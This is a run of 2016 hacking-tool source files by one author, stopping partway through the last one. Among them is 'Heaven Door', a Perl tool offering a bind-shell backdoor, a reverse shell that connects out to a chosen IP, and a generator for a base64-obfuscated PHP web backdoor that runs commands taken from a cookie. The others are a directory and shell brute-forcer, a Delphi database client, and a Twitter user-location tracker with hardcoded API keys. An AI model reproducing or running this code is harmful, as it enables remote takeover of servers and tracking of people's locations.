# !usr/bin/perl
# DH Secret Finder 0.8
# (C) Doddy Hackman 2016
# Credits for the arrays : 
# Dirs : directory-list-2.3-small.txt - Copyright 2007 James Fisher
# Files : Based in wfuzz-1.4
# Link for Files : https://raw.githubusercontent.com/tuwid/darkc0de-old-stuff/master/wfuzz-1.4/wordlists/common.txt
# Shells : Based in https://github.com/bhavyanshu/Shell-Finder

use LWP::UserAgent;
use Getopt::Long;
use Color::Output;
Color::Output::Init;

GetOptions(
	"panels"   => \$panels,
	"domains"   => \$domains,
    "dirs"  => \$dirs,
    "files"   => \$files,
    "shells"   => \$shells,
	"url=s"   => \$url,
    "savefile=s"  => \$savefile,
    "verbose"  => \$verbose
);

head();

if ($panels) {
	if($panels && $url) {
		search($url,"panel");
	} else {
		sintax();
	}	
}
elsif ($domains) {
	if($domains && $url) {
		search($url,"domain");
	} else {
		sintax();
	}
}
elsif ($dirs) {
	if($dirs && $url) {
		search($url,"dir");
	} else {
		sintax();
	}
}
elsif ($files) {
	if($files && $url) {
		search($url,"file");
	} else {
		sintax();
	}
}
elsif ($shells) {
	if($shells && $url) {
		search($url,"shell");
	} else {
		sintax();
	}
}
else {
    sintax();
}

copyright();

# Functions

sub search {
	my ($url,$type) = @_;
	
	my $wordlist = "";
	my $name = "";
	
	if($type eq "panel") {
		$wordlist = "wordlists/panels.txt";
		$name = "Panels";
	} elsif($type eq "domain") {
		$wordlist = "wordlists/domains.txt";
		$name = "Domains";
	} elsif($type eq "dir") {
		$wordlist = "wordlists/directories.txt";
		$name = "Directories";
	} elsif($type eq "file") {
		$wordlist = "wordlists/files.txt";
		$name = "Files";
	} elsif($type eq "shell") {
		$wordlist = "wordlists/shells.txt";
		$name = "Shells";
	} else {
		$wordlist = "wordlists/panels.txt";
		$name = "Panels";
	}
	
	my $cantidad = 0;
	
	if(-f $wordlist) {
		printear_titulo("[+] Loading Wordlist ...\n");
		my @wordlist = load_wordlist($wordlist);
		printear("\n[+] Wordlist Loaded : ");
		print int(@wordlist)." lines\n";
		printear_logo("\n[+] Searching $name in $url ...\n\n");
		for my $line(@wordlist) {
			chomp $line;
			my $link = "";
			if($type eq "domain") {
				$link = $line.".".$url;
			} else {
				$link = $url."/".$line;
			}
			if(check_page($link)) {
				if($verbose) {
					printear("[+] Checking ");
					printear_logo("$link : ");
					printear_azul("OK\n");
				} else {
					printear_azul("[+] Link : $link\n");
				}
				$cantidad++;
				if($savefile) {
					savefile($savefile,"[+] Link : $link");
				}
			} else {
				if($verbose) {
					printear("[+] Checking ");
					printear_logo("$link : ");
					printear_rojo("FAIL\n");
				}
			}
		}
		printear("\n[+] $name Found : ");
		print "$cantidad\n";
		if($cantidad eq "0") {
			printear("\n[-] $name not found\n");
		}
		if($savefile) {
			printear_logo("\n[+] Logs $savefile saved\n");
		}
		printear_titulo("\n[+] Finished\n");
	} else {
		printear_rojo("\n[-] Wordlist not exists");
	}
}

# More Functions

sub check_page {
	my $url = shift;
	my $nave = LWP::UserAgent->new(ssl_opts => {verify_hostname => 0,SSL_verify_mode => IO::Socket::SSL::SSL_VERIFY_NONE});
	$nave->agent("Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
	$nave->timeout(10);	
	my $code = $nave->get($url);
	if ($code->is_success) {
		return 1;
	} else {
		return 0;
	}
}

sub load_wordlist {
    my @result;
    my @words;
    open( FILE, $_[0] );
    @words = <FILE>;
    close FILE;
    for (@words) {
        push( @result, $_ );
    }
    return (@result);
}

sub savefile {
	my ($filename,$text) = @_;
	open( SAVE, ">>" . $filename );
	print SAVE $text . "\n";
	close SAVE;
}

sub printear {
    cprint( "\x036" . $_[0] . "\x030" );
}

sub printear_logo {
    cprint( "\x037" . $_[0] . "\x030" );
}

sub printear_titulo {
    cprint( "\x0310" . $_[0] . "\x030" );
}

sub printear_rojo {
    cprint( "\x035" . $_[0] . "\x030" );
}

sub printear_azul {
    cprint( "\x033" . $_[0] . "\x030" );
}

sub sintax {
    printear("[+] Sintax : ");
    print "perl $0 <option> <value>\n";
    printear("\n[+] Options : \n\n");
    print "-panel -url <url> : Find panel administration in the URL\n";
    print "-domain -url <url> : Find domains in the URL\n";
    print "-dirs -url <url> : Find directories in the URL\n";
    print "-files -url <url> : Find files in the URL\n";
	print "-shells -url <url> : Find shells in the URL\n";
	print "-savefile <filename> : Save results\n";
    printear("\n[+] Example : ");
    print "perl secret_finder.pl -shells http://localhost/ -savefile results.txt\n";
    copyright();
}

sub head {
    printear_logo("\n-- == DH Secret Finder 0.8 == --\n\n\n");
}

sub copyright {
    printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
    exit(1);
}

#The End ?

# !usr/bin/perl
# Heaven Door 1.0
# (C) Doddy Hackman 2016

use LWP::UserAgent;
use MIME::Base64;
use IO::Socket;
use IO::Socket::SSL;
use Cwd;
use Getopt::Long;
use Color::Output;
Color::Output::Init;

GetOptions(
	"backdoor"   => \$backdoor,
	"reverse"   => \$reverse,
	"ip=s"   => \$ip,
    "port=s"   => \$port,
    "generate_backdoor"  => \$generate_backdoor,
    "filename=s"  => \$filename,
    "connect_backdoor"   => \$connect_backdoor,
    "url=s"   => \$url
);

head();

if ($backdoor) {
	if($backdoor && $port) {
		backdoor($port);
	} else {
		sintax();
	}	
}
elsif ($reverse) {
	if($reverse && $ip && $port) {
		reverse_shell($ip,$port);
	} else {
		sintax();
	}
}
elsif ($generate_backdoor) {
	if($filename) {
		cargar_generador_backdoor($filename);
	} else {
		sintax();
	}
}
elsif ($connect_backdoor) {
	if($url) {
		cargar_consola_backdoor($url);
	} else {
		sintax();
	}
}
else {
    sintax();
}

copyright();

# Functions

# Simple backdoor

sub backdoor {
	
	my($port) = @_;
	
	$backdoor = IO::Socket::INET->new(Proto=> 'tcp',LocalPort =>$port,Listen=> SOMAXC,Reuse=> 1);

	printear("[+] Heaven_Door : ");
	print "Online\n";
	printear("[+] Port : ");
	print "$port\n";
	printear("[+] PID : ");
	print "$$\n\n";
	
	printear_titulo("[+] Connected");

	while ($jesus = $backdoor->accept()) {
		$jesus->autoflush(1);
		print $jesus "[+] Heaven_Door : Online\n[+] Port : 25256\n[+] PID : ".$$."\n\n";
		print $jesus "Welcome  ".$jesus->peerhost."\n\n";
		&extras;
		$dir = getcwd();
		print $jesus $dir.">>";
		while (<$jesus>) {
			my $yeah = qx($_);
			print $jesus "\n\n".$yeah."\n\n";
			print $jesus $dir.">>";
		}
	}

	sub extras {

		if ($^O =~/Win32/ig) {
			use if $^O eq "MSWin32", "Win32";
			print $jesus "[+] Domain Name : ".Win32::DomainName()."\n";
			print $jesus "[+] OS Version : ".Win32::GetOSName()."\n";
			print $jesus "[+] Username : ".Win32::LoginName()."\n\n";
		} else {
			$output =  `uname -a`;
			print $jesus "--==System Info==--\n\n".$output."\n";
		}
	}
	
} 

#

# Reverse Shell

sub reverse_shell {
	my($ip,$port) = @_;
	printear_titulo("[+] Reverse Shell : ");
	print "Loaded\n\n";
	printear("[+] IP to connect : ");
	print $ip."\n";
	printear("[+] Port : ");
	print $port."\n\n";
	printear_logo("[+] Connecting ...\n\n");
	socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
	connect(REVERSE, sockaddr_in($port,inet_aton($ip)));
	printear_titulo("[+] Reverse Shell successful\n\n");
	open (STDIN,">&REVERSE");
	open (STDOUT,">&REVERSE");
	open (STDERR,">&REVERSE");
	tipo();
	printear_logo("[+] Disconnecting ...\n\n");
}

sub tipo {
	if ($^O =~/Win32/ig) {
		infowin();
	system("cmd.exe");
	} else {
		infolinux();
		system("export TERM=xterm;exec sh -i");
	}
}

sub infowin {
	use if $^O eq "MSWin32", "Win32";
	print "[+] Domain Name : ".Win32::DomainName()."\n";
	print "[+] OS Version : ".Win32::GetOSName()."\n";
	print "[+] Username : ".Win32::LoginName()."\n\n";
}

sub infolinux {
	print "[+] System information\n\n";
	system("uname -a");
	print "\n";
}

#

# More Functions

sub cargar_consola_backdoor {
	printear("[+] Checking Backdoor ...\n\n");
	my $check1 = cargar_comando($url,"ver");
	my $check2 = cargar_comando($url,"uname -a");
	if(check_backdoor($check1) or check_backdoor($check2)) {
		printear_logo("[+] Backdoor Loaded\n");
		my($url) = @_;
		while(1) {
			printear("\n[+] Command : ");
			chomp( my $comando = <stdin> );
			if ( $comando =~ /exit/ ) {
				copyright();
			}
			my $code = cargar_comando($url,$comando);
			if(check_backdoor($code)) {
				my $output = extract_command_backdoor($code);
				if($output ne "") {
					printear_titulo("\n".$output."\n");
				} else {
					printear_titulo("\n"."[-] Invalid command"."\n");	
				}
			} else {
				printear_titulo("\n"."[-] Invalid command"."\n");
			}
		}
	} else {
		printear_logo("[+] Backdoor not exists\n");
	}
}

sub check_backdoor {
	my $text = shift;
	if($text=~/\[code\_heaven\](.*?)\[\/code\_heaven\]/s) {
		return 1;
	} else {
		return 0;
	}
}

sub extract_command_backdoor {
	my $text = shift;
	if($text=~/\[code\_heaven\](.*?)\[\/code\_heaven\]/s) {
		return $1;
	} else {
		return "";
	}
}

sub cargar_generador_backdoor {
	my $filename = shift;
	if(-f $filename) {
		unlink($filename);
	}
	printear_titulo("[+] Generating backdoor ...\n\n");
	generar_backdoor($filename);
	if(-f $filename) {
		printear("[+] Backdoor $filename generated !\n");
	} else {
		printear("[-] Error generating backdoor\n");
	}
}

sub generar_backdoor {
	my $filename = shift;
	my $code = "PD9waHAgaWYgKGlzc2V0KCRfQ09PS0lFWyJoZWF2ZW5fZG9vcl9oZXJlIl0pICYmICFlbXB0eSgkX0NPT0tJRVsiaGVhdmVuX2Rvb3JfaGVyZSJdKSkgeyAJJGNvZGUgPSAiIjsgCSRvdXRwdXQgPSAiIjsgCWV4ZWMoJF9DT09LSUVbImhlYXZlbl9kb29yX2hlcmUiXSwkY29kZSk7IAlmb3JlYWNoICgkY29kZSBhcyAkbGluZSkgeyAJCSRvdXRwdXQgPSAkb3V0cHV0IC4gJGxpbmUuIlxuIjsgCX0gCWVjaG8gYmFzZTY0X2VuY29kZSgiW2NvZGVfaGVhdmVuXSIuJG91dHB1dC4iWy9jb2RlX2hlYXZlbl0iKTsgfSA";
	savefile($filename,decode_base64($code));
}

sub cargar_comando {
	my($url,$command) = @_;
	my $nave = LWP::UserAgent->new(ssl_opts => {verify_hostname => 0,SSL_verify_mode => IO::Socket::SSL::SSL_VERIFY_NONE});
	$nave->agent("Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
	$nave->timeout(10);
	my $contenido = $nave->get($url,Cookie => "heaven_door_here=".$command)->content;
	return decode_base64($contenido);
}

sub savefile {
	my ($filename,$text) = @_;
	open( SAVE, ">>" . $filename );
	print SAVE $text . "\n";
	close SAVE;
}

sub printear {
    cprint( "\x036" . $_[0] . "\x030" );
}

sub printear_logo {
    cprint( "\x037" . $_[0] . "\x030" );
}

sub printear_titulo {
    cprint( "\x0310" . $_[0] . "\x030" );
}

sub sintax {

    printear("[+] Sintax : ");
    print "perl $0 <option> <value>\n";
    printear("\n[+] Options : \n\n");
    print "-backdoor -port <port> : Enable backdoor in port\n";
    print "-reverse -ip <ip> -port <port> : Get all tags GPS of a image\n";
    print "-generate_backdoor -filename <filename> : Generate backdoor in filename\n";
    print "-connect_backdoor -url <url> : Connect to backdoor in URL\n";
    printear("\n[+] Example : ");
    print "perl heaven_door.pl -reverse -ip 127.0.0.1 -port 666\n";
    copyright();
}

sub head {
    printear_logo("\n-- == Heaven Door 1.0 == --\n\n\n");
}

sub copyright {
    printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
    exit(1);
}

#The End ?

// DH Database Manager 0.8
// (C) Doddy Hackman 2016

unit manager;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.ComCtrls,
  Vcl.StdCtrls,
  Vcl.DBCtrls, Vcl.Grids, Vcl.DBGrids, ZAbstractConnection, ZConnection,
  ZAbstractTable, ZDataset, Data.DB, ZAbstractRODataset, ZAbstractDataset,
  ShellApi, Vcl.ImgList, Vcl.Imaging.pngimage;

type
  TFormHome = class(TForm)
    imgLogo: TImage;
    status: TStatusBar;
    pcOptions: TPageControl;
    tsConfiguration: TTabSheet;
    tsOptions: TTabSheet;
    tsGrid: TTabSheet;
    gbConfiguration: TGroupBox;
    lblHost: TLabel;
    txtHostname: TEdit;
    lblPort: TLabel;
    txtPort: TEdit;
    lblUsername: TLabel;
    txtUsername: TEdit;
    lblPassword: TLabel;
    txtPassword: TEdit;
    lblDatabase: TLabel;
    txtDatabase: TEdit;
    cmbService: TComboBox;
    btnConnect: TButton;
    btnDisconnect: TButton;
    gbOptions: TGroupBox;
    lblTable: TLabel;
    lblSQL_Query: TLabel;
    cmbTables: TComboBox;
    txtSQL_Query: TEdit;
    btnLoadTable: TButton;
    btnExecute: TButton;
    connection: TZConnection;
    lblService: TLabel;
    grid_connection: TDBGrid;
    nav_connection: TDBNavigator;
    query_connection: TZQuery;
    table_connection: TZTable;
    datasource_connection: TDataSource;
    btnLoadDB: TButton;
    odLoadDB: TOpenDialog;
    btnRefreshTables: TButton;
    ilIconosMenu: TImageList;
    ilIconosBotones: TImageList;
    procedure btnConnectClick(Sender: TObject);
    procedure btnDisconnectClick(Sender: TObject);
    procedure btnLoadTableClick(Sender: TObject);
    procedure btnExecuteClick(Sender: TObject);
    procedure cmbServiceSelect(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure btnLoadDBClick(Sender: TObject);
    procedure btnRefreshTablesClick(Sender: TObject);
  private
    { Private declarations }
    procedure DragDropFile(var Msg: TMessage); message WM_DROPFILES;
  public
    { Public declarations }
    procedure cargarTablas();
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}
// Functions

function message_box(title, message_text, type_message: string): string;
begin
  if not(title = '') and not(message_text = '') and not(type_message = '') then
  begin
    try
      begin
        if (type_message = 'Information') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end
        else if (type_message = 'Warning') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONWARNING);
        end
        else if (type_message = 'Question') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONQUESTION);
        end
        else if (type_message = 'Error') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONERROR);
        end
        else
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end;
        Result := '[+] MessageBox : OK';
      end;
    except
      begin
        Result := '[-] Error';
      end;
    end;
  end
  else
  begin
    Result := '[-] Error';
  end;
end;

// Function to DragDrop

// Based in : http://www.clubdelphi.com/foros/showthread.php?t=85665
// Thanks to ecfisa

var
  bypass_window: function(Msg: Cardinal; dwFlag: Word): BOOL; stdcall;

procedure TFormHome.DragDropFile(var Msg: TMessage);
var
  nombre_archivo, extension: string;
  limite, number: integer;
  path: array [0 .. MAX_COMPUTERNAME_LENGTH + MAX_PATH] of char;
begin
  limite := DragQueryFile(Msg.WParam, $FFFFFFFF, path, 255) - 1;
  if (Win32MajorVersion = 6) and (Win32MinorVersion > 0) then
    for number := 0 to limite do
    begin
      bypass_window(number, 1);
    end;
  for number := 0 to limite do
  begin
    DragQueryFile(Msg.WParam, number, path, 255);

    //

    if (FileExists(path)) then
    begin
      nombre_archivo := ExtractFilename(path);
      extension := ExtractFileExt(path);
      extension := StringReplace(extension, '.', '',
        [rfReplaceAll, rfIgnoreCase]);
      if (extension = 'sqlite') or (extension = 'db3') or (extension = 's3db')
      then
      begin
        txtDatabase.Text := path;
        status.Panels[0].Text := '[+] DB Loaded';
        message_box('DH Database Manager 0.8', 'DB Loaded', 'Information');
      end
      else
      begin
        status.Panels[0].Text := '[-] The DB is not valid';
        message_box('DH Database Manager 0.8', 'The DB is not valid',
          'Warning');
      end;
    end;

    //

  end;
  DragFinish(Msg.WParam);
end;

//

procedure TFormHome.cargarTablas();
var
  lst: TStrings;
  count: integer;
begin
  if (connection.Connected = true) then
  begin
    try
      begin
        cmbTables.Clear;
        lst := TStringList.Create;
        connection.GetTableNames('', lst);
        count := lst.count;
        cmbTables.Items.Assign(lst);
        lst.Free();
        if (count >= 1) then
        begin
          cmbTables.ItemIndex := 0;
        end;
        ShowMessage('Tables loaded : ' + IntToStr(count));
      end;
    except
      begin
        ShowMessage('Tables not found');
      end;
    end;
  end
  else
  begin
    message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
  end;
end;

procedure TFormHome.cmbServiceSelect(Sender: TObject);
begin
  if (cmbService.Text = 'MSSQL') then
  begin
    txtDatabase.ReadOnly := false;
    btnLoadDB.Enabled := false;
  end
  else if (cmbService.Text = 'MYSQL') then
  begin
    txtDatabase.ReadOnly := false;
    btnLoadDB.Enabled := false;
  end
  else if (cmbService.Text = 'SQLITE') then
  begin
    txtDatabase.Text := '';
    txtDatabase.ReadOnly := true;
    btnLoadDB.Enabled := true;
  end
  else
  begin
    status.Panels[0].Text := '[-] Service not found';
    message_box('DH Database Manager 0.8', 'Service not found', 'Warning');
  end;
end;

procedure TFormHome.FormCreate(Sender: TObject);
begin

  //

  if (Win32MajorVersion = 6) and (Win32MinorVersion > 0) then
  begin
    @bypass_window := GetProcAddress(LoadLibrary('user32.dll'),
      'ChangeWindowMessageFilter');
    bypass_window(WM_DROPFILES, 1);
    bypass_window(WM_COPYDATA, 1);
    bypass_window($0049, 1);
  end;
  DragAcceptFiles(Handle, true);

  //

  UseLatestCommonDialogs := false;
  odLoadDB.InitialDir := GetCurrentDir;
  odLoadDB.Filter :=
    'SQLITE files (*.sqlite)|*.SQLITE|DB3 Files (*.db3)|*.DB3|S3DB File (*.s3db)|*.S3DB';

  //

  btnLoadDB.Enabled := false;
end;

procedure TFormHome.btnConnectClick(Sender: TObject);
begin

  // MSSQL : localhost\SQLEXPRESS
  // admin:123456

  // MYSQL : localhost:3306
  // root

  if (cmbService.Text = 'MSSQL') then
  begin
    if (txtHostname.Text = '') or (txtUsername.Text = '') or
      (txtPassword.Text = '') then
    begin
      status.Panels[0].Text := '[-] Missing data';
      message_box('DH Database Manager 0.8', 'Missing data', 'Warning');
    end
    else
    begin
      try
        begin
          connection.HostName := txtHostname.Text;

          if not(txtDatabase.Text = '') then
          begin
            connection.Database := txtDatabase.Text;
          end;

          connection.Database := 'sistema';
          connection.Protocol := 'mssql';
          connection.User := txtUsername.Text;
          connection.Password := txtPassword.Text;
          connection.Connect;

          status.Panels[0].Text := '[+] Connected';
          message_box('DH Database Manager 0.8', 'Connected', 'Information');

          if not(txtDatabase.Text = '') then
          begin
            cargarTablas();
          end;

        end;
      except
        begin
          status.Panels[0].Text := '[-] Error connecting';
          message_box('DH Database Manager 0.8', 'Error connecting', 'Error');
        end;
      end;
    end;
  end
  else if (cmbService.Text = 'MYSQL') then
  begin
    if (txtHostname.Text = '') or (txtPort.Text = '') or (txtUsername.Text = '')
    then
    begin
      status.Panels[0].Text := '[-] Missing data';
      message_box('DH Database Manager 0.8', 'Missing data', 'Warning');
    end
    else
    begin
      try
        begin
          connection.HostName := txtHostname.Text;
          connection.Port := StrToInt(txtPort.Text);

          if not(txtDatabase.Text = '') then
          begin
            connection.Database := txtDatabase.Text;
          end;

          connection.Protocol := 'mysql-5';

          connection.User := txtUsername.Text;
          connection.Password := txtPassword.Text;
          connection.Connect;

          status.Panels[0].Text := '[+] Connected';
          message_box('DH Database Manager 0.8', 'Connected', 'Information');

          if not(txtDatabase.Text = '') then
          begin
            cargarTablas();
          end;

        end;
      except
        begin
          status.Panels[0].Text := '[-] Error connecting';
          message_box('DH Database Manager 0.8', 'Error connecting', 'Error');
        end;
      end;
    end;
  end
  else if (cmbService.Text = 'SQLITE') then
  begin
    if not(FileExists(txtDatabase.Text)) then
    begin
      status.Panels[0].Text := '[-] SQLITE Database not found';
      message_box('DH Database Manager 0.8', 'SQLITE Database not found',
        'Warning');
    end
    else
    begin
      try
        begin
          connection.Protocol := 'sqlite-3';
          connection.Database := txtDatabase.Text;
          connection.Connect;

          status.Panels[0].Text := '[+] Connected';
          message_box('DH Database Manager 0.8', 'Connected', 'Information');

          if not(txtDatabase.Text = '') then
          begin
            cargarTablas();
          end;

        end;
      except
        begin
          status.Panels[0].Text := '[-] Error connecting';
          message_box('DH Database Manager 0.8', 'Error connecting', 'Error');
        end;
      end;
    end;
  end
  else
  begin
    status.Panels[0].Text := '[-] Service not found';
    message_box('DH Database Manager 0.8', 'Service not found', 'Warning');
  end;

end;

procedure TFormHome.btnDisconnectClick(Sender: TObject);
begin
  if connection.Connected = true then
  begin
    connection.Connected := false;
    status.Panels[0].Text := '[+] Disconnect';
    message_box('DH Database Manager 0.8', 'Disconnect', 'Information');
  end
  else
  begin
    status.Panels[0].Text := '[-] Not connected';
    message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
  end;
end;

procedure TFormHome.btnExecuteClick(Sender: TObject);
begin
  if (connection.Connected = true) then
  begin
    try
      begin
        query_connection.Active := false;
        query_connection.SQL.Clear;
        query_connection.SQL.Add(txtSQL_Query.Text);
        query_connection.Active := true;
        datasource_connection.DataSet := query_connection;
        datasource_connection.DataSet.Refresh;
        status.Panels[0].Text := '[+] Command Executed';
        message_box('DH Database Manager 0.8', 'Command Executed',
          'Information');
      end;
    except
      on E: Exception do
      begin
        if (E.Message = 'Can not open a Resultset') then
        begin
          status.Panels[0].Text := '[?] SQL Query not return ResultSet';
          message_box('DH Database Manager 0.8',
            'SQL Query not return ResultSet', 'Information');
        end
        else
        begin
          status.Panels[0].Text := '[-] SQL Query Error';
          message_box('DH Database Manager 0.8', 'SQL Query Error', 'Error');
        end;
      end;
    end;
  end
  else
  begin
    status.Panels[0].Text := '[-] Not connected';
    message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
  end;
end;

procedure TFormHome.btnLoadDBClick(Sender: TObject);
begin
  if odLoadDB.Execute then
  begin
    txtDatabase.Text := odLoadDB.filename;
  end;
end;

procedure TFormHome.btnLoadTableClick(Sender: TObject);
begin
  if (connection.Connected = true) then
  begin
    try
      begin
        table_connection.Active := false;
        table_connection.TableName := cmbTables.Text;
        datasource_connection.DataSet := table_connection;
        table_connection.Active := true;
        datasource_connection.DataSet.Refresh;
        status.Panels[0].Text := '[+] Table Loaded';
        message_box('DH Database Manager 0.8', 'Table Loaded', 'Information');
      end;
    except
      begin
        status.Panels[0].Text := '[-] Error loading table';
        message_box('DH Database Manager 0.8', 'Error loading table', 'Error');
      end;
    end;
  end
  else
  begin
    status.Panels[0].Text := '[-] Not connected';
    message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
  end;
end;

procedure TFormHome.btnRefreshTablesClick(Sender: TObject);
begin
  cargarTablas();
end;

end.

// The End ?

# !usr/bin/perl
# DH Twitter Locator 0.6
# (C) Doddy Hackman 2016
# Credits :
# Based in idea original of : tinfoleak by Vicente Aguilera Diaz 

use LWP::UserAgent;
use IO::Socket::SSL;
use HTTP::Request::Common;
use JSON;
use Data::Dumper;
use MIME::Base64;
use Date::Parse;
use DateTime;
use Getopt::Long;
use Color::Output;
Color::Output::Init;

my $consumer_key = "IQKbtAYlXLripLGPWd0HUA";
my $consumer_secret = "GgDYlkSvaPxGxC4X8liwpUoqKwwr3lCADbz8A7ADU";

my $bearer_token = "$consumer_key:$consumer_secret";
my $bearer_token_64 = encode_base64($bearer_token);

my $nave = LWP::UserAgent->new(ssl_opts => {verify_hostname => 0,SSL_verify_mode => IO::Socket::SSL::SSL_VERIFY_NONE});
$nave->agent(
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"
);
$nave->timeout(5);

GetOptions(
	"profile"   => \$profile,
	"apps"   => \$apps,
    "locations"  => \$locations,
    "username=s"   => \$username,
    "count=i"   => \$count,
    "savefile=s"  => \$savefile,
);

head();

if ($profile) {
	if($profile && $username) {
		search_profile($username);
	} else {
		sintax();
	}	
}
if ($apps) {
	if($apps && $username && $count) {
		search_apps($username,$count);
	} else {
		sintax();
	}
}
if ($locations) {
	if($locations && $username && $count) {
		search_locations($username,$count);
	} else {
		sintax();
	}
}
if(!$profile and !$apps and !$locations) {
	sintax();
} else {
	if($savefile) {
		printear_logo("\n[+] Logs $savefile saved\n");
	}
}

copyright();

# Functions

sub search_profile {
	my ($username) = @_;
	
	printear_titulo("\n[+] Loading Profile in Username : ");
	print $username." ...\n\n";
	
	#my $code = toma("http://localhost/twitter/getuser.php");
	my $code = get_code("https://api.twitter.com/1.1/users/show.json?screen_name=".$username);

	my $resultado = JSON->new->decode($code);

	my $screen_name = $resultado->{"screen_name"};
	if($screen_name eq "") {
		$screen_name = "Not Found";
	}
	my $name = $resultado->{"name"};
	if($name eq "") {
		$name = "Not Found";
	}
	my $id = $resultado->{"id_str"};
	if($id eq "") {
		$id = "Not Found";
	}
	my $created = parse_date($resultado->{"created_at"});
	if($created eq "") {
		$created = "Not Found";
	}
	my $followers = $resultado->{"followers_count"};
	if($followers eq "") {
		$followers = "Not Found";
	}
	my $tweets_count = $resultado->{"statuses_count"};
	if($tweets_count eq "") {
		$tweets_count = "Not Found";
	}
	my $location = $resultado->{"location"};
	if($location eq "") {
		$location = "Not Found";
	}
	my $description = $resultado->{"description"};
	if($description eq "") {
		$description = "Not Found";
	}
	my $url = $resultado->{"url"};
	if($url eq "") {
		$url = "Not Found";
	}
	my $profile_image = $resultado->{"profile_image_url"};
	if($profile_image eq "") {
		$profile_image = "Not Found";
	}
	
	printear("Screen Name : ");
	print $screen_name."\n";
	printear("Username : ");
	print $name."\n";
	printear("ID : ");
	print $id."\n";
	printear("Created at : ");
	print $created."\n";
	printear("Followers : ");
	print $followers."\n";
	printear("Tweets count : ");
	print $tweets_count."\n";
	printear("Location : ");
	print $location."\n";
	printear("Description : ");
	print $description."\n";
	printear("URL : ");
	print $url."\n"; 
	printear("Profile Image : ");
	print $profile_image."\n";
	
	printear_titulo("\n[+] Profile Loaded\n");
	
	if($savefile) {
		savefile($savefile,"\n[+] Loading Profile in Username : $username\n");
		savefile($savefile,"Screen Name : $screen_name");
		savefile($savefile,"Username : $name");
		savefile($savefile,"ID : $id");
		savefile($savefile,"Created at : $created");
		savefile($savefile,"Followers : $followers");
		savefile($savefile,"Tweets count : $tweets_count");
		savefile($savefile,"Location : $location");
		savefile($savefile,"Description : $description");
		savefile($savefile,"URL : $url");
		savefile($savefile,"Profile Image : $profile_image");
		savefile($savefile,"\n[+] Profile Loaded");
	}

	#for my $number(1..5) {
	#	sleep(1);
	#	printear_logo("number : ");
	#	printear_titulo($number."\r");
	#}
	#printear_titulo("Number : Finished\n");
}

sub search_apps {
	my($username,$count) = @_;
	
	printear_titulo("\n[+] Searching Apps in Username : ");
	print $username." ...\n\n";
	
	#my $code = toma("http://localhost/twitter/timeline.php");
	my $code = get_code("https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name=".$username."&include_rts=True&count=".$count);
	
	my $resultado = JSON->new->decode($code);
	
	my @resultado = @$resultado;
	
	my $i = 0;

	if(int(@resultado) eq "0") {
		printear_rojo("[-] Tweets not found\n");
	} else {
		printear("[+] Tweets found : ");
		print int(@resultado)."\n\n\n";
		printear("  Tweet\t\t Date\t\t   Apps\n");
		print "  -----------------------------------------------------\n\n";
		
		if($savefile) {
			savefile($savefile,"\n[+] Searching Apps in Username : $username\n");
			savefile($savefile,"[+] Tweets found : ".int(@resultado)."\n");
			savefile($savefile,"  Tweet\t\t Date\t\t   Apps\n");
			savefile($savefile,"  -----------------------------------------------------\n");
		}

		for my $result(@resultado) {
			$i++;
			my $source_split = $result->{"source"};
			if($source_split=~/>(.*)<\/a>/) {
				my $source = $1;
				my $datetime = parse_date($result->{"created_at"});
				if($source ne "") {
					printf("   %-5s %-22s %-15s\n", $i,$datetime,$source);
					if($savefile) {
						savefile($savefile,"   $i\t$datetime\t$source");
					}
				}
			}
		}
		
		printear_titulo("\n\n[+] Apps Loaded\n");
		
		if($savefile) {
			savefile($savefile,"\n[+] Apps Loaded\n");
		}
	}
	
}

sub search_locations {
	my($username,$count) = @_;
	
	printear_titulo("\n[+] Searching Locations in Username : ");
	print $username." ...\n\n";
	
	#my $code = toma("http://localhost/twitter/timeline.php");
	my $code = get_code("https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name=".$username."&include_rts=True&count=".$count);
	
	my $resultado = JSON->new->decode($code);
	
	my @resultado = @$resultado;
	
	my $i = 0;

	if(int(@resultado) eq "0") {
		printear_rojo("[-] Tweets not found\n");
	} else {
		printear("[+] Tweets found : ");
		print int(@resultado)."\n\n\n";

		printear("  Tweet\t\t Date\t\t     Locations\n");
		print "  -----------------------------------------------------\n\n";
		
		if($savefile) {
			savefile($savefile,"\n[+] Searching Locations in Username : $username\n");
			savefile($savefile,"[+] Tweets found : ".int(@resultado)."\n");
			savefile($savefile,"  Tweet\t\t Date\t\t   Locations\n");
			savefile($savefile,"  -----------------------------------------------------\n");
		}

		for my $result(@resultado) {
			$i++;
			my $place = $result->{"place"}{"country"};
			my $coordinates1 = $result->{"geo"}{"coordinates"}[0];
			my $coordinates2 = $result->{"geo"}{"coordinates"}[1];
			my $datetime = parse_date($result->{"created_at"});
			if($place ne "") {
				my $data = "";
				if($coordinates1 ne "" && $coordinates2 ne "") {
					$data = $place." [".$coordinates1.",".$coordinates2."]";
				} else {
					$data = $place;
				}
				printf("   %-5s %-22s %-15s\n", $i,$datetime,$data);
				if($savefile) {
					savefile($savefile,"   $i\t$datetime\t$data");
				}
			}
		}
